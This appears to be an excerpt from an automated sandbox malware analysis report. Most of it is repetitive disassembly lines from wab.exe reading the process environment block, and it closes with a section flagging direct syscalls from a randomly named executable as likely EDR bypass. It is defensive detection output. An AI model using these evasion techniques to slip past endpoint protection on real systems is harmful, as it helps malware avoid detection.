Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072C310 mov ecx, dword ptr fs:[00000030h]	9_2_2072C310
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20750310 mov ecx, dword ptr fs:[00000030h]	9_2_20750310
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B930B mov eax, dword ptr fs:[00000030h]	9_2_207B930B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B930B mov eax, dword ptr fs:[00000030h]	9_2_207B930B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B930B mov eax, dword ptr fs:[00000030h]	9_2_207B930B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_208053FC mov eax, dword ptr fs:[00000030h]	9_2_208053FC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076A30B mov eax, dword ptr fs:[00000030h]	9_2_2076A30B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076A30B mov eax, dword ptr fs:[00000030h]	9_2_2076A30B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076A30B mov eax, dword ptr fs:[00000030h]	9_2_2076A30B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2074E3F0 mov eax, dword ptr fs:[00000030h]	9_2_2074E3F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2074E3F0 mov eax, dword ptr fs:[00000030h]	9_2_2074E3F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2074E3F0 mov eax, dword ptr fs:[00000030h]	9_2_2074E3F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207663FF mov eax, dword ptr fs:[00000030h]	9_2_207663FF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207EF3E6 mov eax, dword ptr fs:[00000030h]	9_2_207EF3E6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207403E9 mov eax, dword ptr fs:[00000030h]	9_2_207403E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207403E9 mov eax, dword ptr fs:[00000030h]	9_2_207403E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207403E9 mov eax, dword ptr fs:[00000030h]	9_2_207403E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207403E9 mov eax, dword ptr fs:[00000030h]	9_2_207403E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207403E9 mov eax, dword ptr fs:[00000030h]	9_2_207403E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207403E9 mov eax, dword ptr fs:[00000030h]	9_2_207403E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207403E9 mov eax, dword ptr fs:[00000030h]	9_2_207403E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207403E9 mov eax, dword ptr fs:[00000030h]	9_2_207403E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207EB3D0 mov ecx, dword ptr fs:[00000030h]	9_2_207EB3D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207EC3CD mov eax, dword ptr fs:[00000030h]	9_2_207EC3CD
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073A3C0 mov eax, dword ptr fs:[00000030h]	9_2_2073A3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073A3C0 mov eax, dword ptr fs:[00000030h]	9_2_2073A3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073A3C0 mov eax, dword ptr fs:[00000030h]	9_2_2073A3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073A3C0 mov eax, dword ptr fs:[00000030h]	9_2_2073A3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073A3C0 mov eax, dword ptr fs:[00000030h]	9_2_2073A3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073A3C0 mov eax, dword ptr fs:[00000030h]	9_2_2073A3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207383C0 mov eax, dword ptr fs:[00000030h]	9_2_207383C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207383C0 mov eax, dword ptr fs:[00000030h]	9_2_207383C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207383C0 mov eax, dword ptr fs:[00000030h]	9_2_207383C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207383C0 mov eax, dword ptr fs:[00000030h]	9_2_207383C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B63C0 mov eax, dword ptr fs:[00000030h]	9_2_207B63C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20805341 mov eax, dword ptr fs:[00000030h]	9_2_20805341
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207533A5 mov eax, dword ptr fs:[00000030h]	9_2_207533A5
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207633A0 mov eax, dword ptr fs:[00000030h]	9_2_207633A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207633A0 mov eax, dword ptr fs:[00000030h]	9_2_207633A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2078739A mov eax, dword ptr fs:[00000030h]	9_2_2078739A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2078739A mov eax, dword ptr fs:[00000030h]	9_2_2078739A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20728397 mov eax, dword ptr fs:[00000030h]	9_2_20728397
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20728397 mov eax, dword ptr fs:[00000030h]	9_2_20728397
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20728397 mov eax, dword ptr fs:[00000030h]	9_2_20728397
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072E388 mov eax, dword ptr fs:[00000030h]	9_2_2072E388
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072E388 mov eax, dword ptr fs:[00000030h]	9_2_2072E388
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072E388 mov eax, dword ptr fs:[00000030h]	9_2_2072E388
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075438F mov eax, dword ptr fs:[00000030h]	9_2_2075438F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075438F mov eax, dword ptr fs:[00000030h]	9_2_2075438F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075A470 mov eax, dword ptr fs:[00000030h]	9_2_2075A470
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075A470 mov eax, dword ptr fs:[00000030h]	9_2_2075A470
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075A470 mov eax, dword ptr fs:[00000030h]	9_2_2075A470
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20731460 mov eax, dword ptr fs:[00000030h]	9_2_20731460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20731460 mov eax, dword ptr fs:[00000030h]	9_2_20731460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20731460 mov eax, dword ptr fs:[00000030h]	9_2_20731460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20731460 mov eax, dword ptr fs:[00000030h]	9_2_20731460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20731460 mov eax, dword ptr fs:[00000030h]	9_2_20731460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2074F460 mov eax, dword ptr fs:[00000030h]	9_2_2074F460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2074F460 mov eax, dword ptr fs:[00000030h]	9_2_2074F460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2074F460 mov eax, dword ptr fs:[00000030h]	9_2_2074F460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2074F460 mov eax, dword ptr fs:[00000030h]	9_2_2074F460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2074F460 mov eax, dword ptr fs:[00000030h]	9_2_2074F460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2074F460 mov eax, dword ptr fs:[00000030h]	9_2_2074F460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207BC460 mov ecx, dword ptr fs:[00000030h]	9_2_207BC460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207EF453 mov eax, dword ptr fs:[00000030h]	9_2_207EF453
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075245A mov eax, dword ptr fs:[00000030h]	9_2_2075245A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073B440 mov eax, dword ptr fs:[00000030h]	9_2_2073B440
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073B440 mov eax, dword ptr fs:[00000030h]	9_2_2073B440
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073B440 mov eax, dword ptr fs:[00000030h]	9_2_2073B440
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073B440 mov eax, dword ptr fs:[00000030h]	9_2_2073B440
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073B440 mov eax, dword ptr fs:[00000030h]	9_2_2073B440
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073B440 mov eax, dword ptr fs:[00000030h]	9_2_2073B440
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076E443 mov eax, dword ptr fs:[00000030h]	9_2_2076E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076E443 mov eax, dword ptr fs:[00000030h]	9_2_2076E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076E443 mov eax, dword ptr fs:[00000030h]	9_2_2076E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076E443 mov eax, dword ptr fs:[00000030h]	9_2_2076E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076E443 mov eax, dword ptr fs:[00000030h]	9_2_2076E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076E443 mov eax, dword ptr fs:[00000030h]	9_2_2076E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076E443 mov eax, dword ptr fs:[00000030h]	9_2_2076E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076E443 mov eax, dword ptr fs:[00000030h]	9_2_2076E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076A430 mov eax, dword ptr fs:[00000030h]	9_2_2076A430
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072E420 mov eax, dword ptr fs:[00000030h]	9_2_2072E420
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072E420 mov eax, dword ptr fs:[00000030h]	9_2_2072E420
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072E420 mov eax, dword ptr fs:[00000030h]	9_2_2072E420
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072C427 mov eax, dword ptr fs:[00000030h]	9_2_2072C427
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_208054DB mov eax, dword ptr fs:[00000030h]	9_2_208054DB
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B6420 mov eax, dword ptr fs:[00000030h]	9_2_207B6420
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B6420 mov eax, dword ptr fs:[00000030h]	9_2_207B6420
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B6420 mov eax, dword ptr fs:[00000030h]	9_2_207B6420
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B6420 mov eax, dword ptr fs:[00000030h]	9_2_207B6420
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B6420 mov eax, dword ptr fs:[00000030h]	9_2_207B6420
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B6420 mov eax, dword ptr fs:[00000030h]	9_2_207B6420
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B6420 mov eax, dword ptr fs:[00000030h]	9_2_207B6420
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B7410 mov eax, dword ptr fs:[00000030h]	9_2_207B7410
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20768402 mov eax, dword ptr fs:[00000030h]	9_2_20768402
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20768402 mov eax, dword ptr fs:[00000030h]	9_2_20768402
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20768402 mov eax, dword ptr fs:[00000030h]	9_2_20768402
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075340D mov eax, dword ptr fs:[00000030h]	9_2_2075340D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207304E5 mov ecx, dword ptr fs:[00000030h]	9_2_207304E5
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207D94E0 mov eax, dword ptr fs:[00000030h]	9_2_207D94E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207634B0 mov eax, dword ptr fs:[00000030h]	9_2_207634B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207644B0 mov ecx, dword ptr fs:[00000030h]	9_2_207644B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207BA4B0 mov eax, dword ptr fs:[00000030h]	9_2_207BA4B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207364AB mov eax, dword ptr fs:[00000030h]	9_2_207364AB
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072B480 mov eax, dword ptr fs:[00000030h]	9_2_2072B480
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20739486 mov eax, dword ptr fs:[00000030h]	9_2_20739486
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20739486 mov eax, dword ptr fs:[00000030h]	9_2_20739486
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2080547F mov eax, dword ptr fs:[00000030h]	9_2_2080547F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076B570 mov eax, dword ptr fs:[00000030h]	9_2_2076B570
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076B570 mov eax, dword ptr fs:[00000030h]	9_2_2076B570
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072B562 mov eax, dword ptr fs:[00000030h]	9_2_2072B562
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076656A mov eax, dword ptr fs:[00000030h]	9_2_2076656A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076656A mov eax, dword ptr fs:[00000030h]	9_2_2076656A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076656A mov eax, dword ptr fs:[00000030h]	9_2_2076656A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20738550 mov eax, dword ptr fs:[00000030h]	9_2_20738550
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20738550 mov eax, dword ptr fs:[00000030h]	9_2_20738550
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20740535 mov eax, dword ptr fs:[00000030h]	9_2_20740535
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20740535 mov eax, dword ptr fs:[00000030h]	9_2_20740535
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20740535 mov eax, dword ptr fs:[00000030h]	9_2_20740535
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20740535 mov eax, dword ptr fs:[00000030h]	9_2_20740535
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20740535 mov eax, dword ptr fs:[00000030h]	9_2_20740535
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20740535 mov eax, dword ptr fs:[00000030h]	9_2_20740535
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076D530 mov eax, dword ptr fs:[00000030h]	9_2_2076D530
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076D530 mov eax, dword ptr fs:[00000030h]	9_2_2076D530
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073D534 mov eax, dword ptr fs:[00000030h]	9_2_2073D534
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073D534 mov eax, dword ptr fs:[00000030h]	9_2_2073D534
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073D534 mov eax, dword ptr fs:[00000030h]	9_2_2073D534
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073D534 mov eax, dword ptr fs:[00000030h]	9_2_2073D534
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073D534 mov eax, dword ptr fs:[00000030h]	9_2_2073D534
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073D534 mov eax, dword ptr fs:[00000030h]	9_2_2073D534
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_208055C9 mov eax, dword ptr fs:[00000030h]	9_2_208055C9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075E53E mov eax, dword ptr fs:[00000030h]	9_2_2075E53E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075E53E mov eax, dword ptr fs:[00000030h]	9_2_2075E53E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075E53E mov eax, dword ptr fs:[00000030h]	9_2_2075E53E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075E53E mov eax, dword ptr fs:[00000030h]	9_2_2075E53E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075E53E mov eax, dword ptr fs:[00000030h]	9_2_2075E53E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207EB52F mov eax, dword ptr fs:[00000030h]	9_2_207EB52F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_208035D7 mov eax, dword ptr fs:[00000030h]	9_2_208035D7
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_208035D7 mov eax, dword ptr fs:[00000030h]	9_2_208035D7
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_208035D7 mov eax, dword ptr fs:[00000030h]	9_2_208035D7
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207DF525 mov eax, dword ptr fs:[00000030h]	9_2_207DF525
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207DF525 mov eax, dword ptr fs:[00000030h]	9_2_207DF525
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207DF525 mov eax, dword ptr fs:[00000030h]	9_2_207DF525
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207DF525 mov eax, dword ptr fs:[00000030h]	9_2_207DF525
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207DF525 mov eax, dword ptr fs:[00000030h]	9_2_207DF525
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207DF525 mov eax, dword ptr fs:[00000030h]	9_2_207DF525
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207DF525 mov eax, dword ptr fs:[00000030h]	9_2_207DF525
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20767505 mov eax, dword ptr fs:[00000030h]	9_2_20767505
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20767505 mov ecx, dword ptr fs:[00000030h]	9_2_20767505
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20804500 mov eax, dword ptr fs:[00000030h]	9_2_20804500
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20804500 mov eax, dword ptr fs:[00000030h]	9_2_20804500
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20804500 mov eax, dword ptr fs:[00000030h]	9_2_20804500
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20804500 mov eax, dword ptr fs:[00000030h]	9_2_20804500
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20804500 mov eax, dword ptr fs:[00000030h]	9_2_20804500
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20804500 mov eax, dword ptr fs:[00000030h]	9_2_20804500
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20804500 mov eax, dword ptr fs:[00000030h]	9_2_20804500
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207515F4 mov eax, dword ptr fs:[00000030h]	9_2_207515F4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207515F4 mov eax, dword ptr fs:[00000030h]	9_2_207515F4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207515F4 mov eax, dword ptr fs:[00000030h]	9_2_207515F4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207515F4 mov eax, dword ptr fs:[00000030h]	9_2_207515F4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207515F4 mov eax, dword ptr fs:[00000030h]	9_2_207515F4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207515F4 mov eax, dword ptr fs:[00000030h]	9_2_207515F4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075E5E7 mov eax, dword ptr fs:[00000030h]	9_2_2075E5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075E5E7 mov eax, dword ptr fs:[00000030h]	9_2_2075E5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075E5E7 mov eax, dword ptr fs:[00000030h]	9_2_2075E5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075E5E7 mov eax, dword ptr fs:[00000030h]	9_2_2075E5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075E5E7 mov eax, dword ptr fs:[00000030h]	9_2_2075E5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075E5E7 mov eax, dword ptr fs:[00000030h]	9_2_2075E5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075E5E7 mov eax, dword ptr fs:[00000030h]	9_2_2075E5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075E5E7 mov eax, dword ptr fs:[00000030h]	9_2_2075E5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207325E0 mov eax, dword ptr fs:[00000030h]	9_2_207325E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076C5ED mov eax, dword ptr fs:[00000030h]	9_2_2076C5ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076C5ED mov eax, dword ptr fs:[00000030h]	9_2_2076C5ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207365D0 mov eax, dword ptr fs:[00000030h]	9_2_207365D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076A5D0 mov eax, dword ptr fs:[00000030h]	9_2_2076A5D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076A5D0 mov eax, dword ptr fs:[00000030h]	9_2_2076A5D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207AD5D0 mov eax, dword ptr fs:[00000030h]	9_2_207AD5D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207AD5D0 mov ecx, dword ptr fs:[00000030h]	9_2_207AD5D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207595DA mov eax, dword ptr fs:[00000030h]	9_2_207595DA
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207655C0 mov eax, dword ptr fs:[00000030h]	9_2_207655C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20805537 mov eax, dword ptr fs:[00000030h]	9_2_20805537
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076E5CF mov eax, dword ptr fs:[00000030h]	9_2_2076E5CF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076E5CF mov eax, dword ptr fs:[00000030h]	9_2_2076E5CF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207EF5BE mov eax, dword ptr fs:[00000030h]	9_2_207EF5BE
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207545B1 mov eax, dword ptr fs:[00000030h]	9_2_207545B1
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207545B1 mov eax, dword ptr fs:[00000030h]	9_2_207545B1
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075F5B0 mov eax, dword ptr fs:[00000030h]	9_2_2075F5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075F5B0 mov eax, dword ptr fs:[00000030h]	9_2_2075F5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075F5B0 mov eax, dword ptr fs:[00000030h]	9_2_2075F5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075F5B0 mov eax, dword ptr fs:[00000030h]	9_2_2075F5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075F5B0 mov eax, dword ptr fs:[00000030h]	9_2_2075F5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075F5B0 mov eax, dword ptr fs:[00000030h]	9_2_2075F5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075F5B0 mov eax, dword ptr fs:[00000030h]	9_2_2075F5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075F5B0 mov eax, dword ptr fs:[00000030h]	9_2_2075F5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075F5B0 mov eax, dword ptr fs:[00000030h]	9_2_2075F5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207C35BA mov eax, dword ptr fs:[00000030h]	9_2_207C35BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207C35BA mov eax, dword ptr fs:[00000030h]	9_2_207C35BA

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtAllocateVirtualMemory: Direct from: 0x76EF48EC	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtQueryAttributesFile: Direct from: 0x76EF2E6C	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtQuerySystemInformation: Direct from: 0x76EF48CC	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtOpenSection: Direct from: 0x76EF2E0C	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtDeviceIoControlFile: Direct from: 0x76EF2AEC	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BEC	Jump to behavior
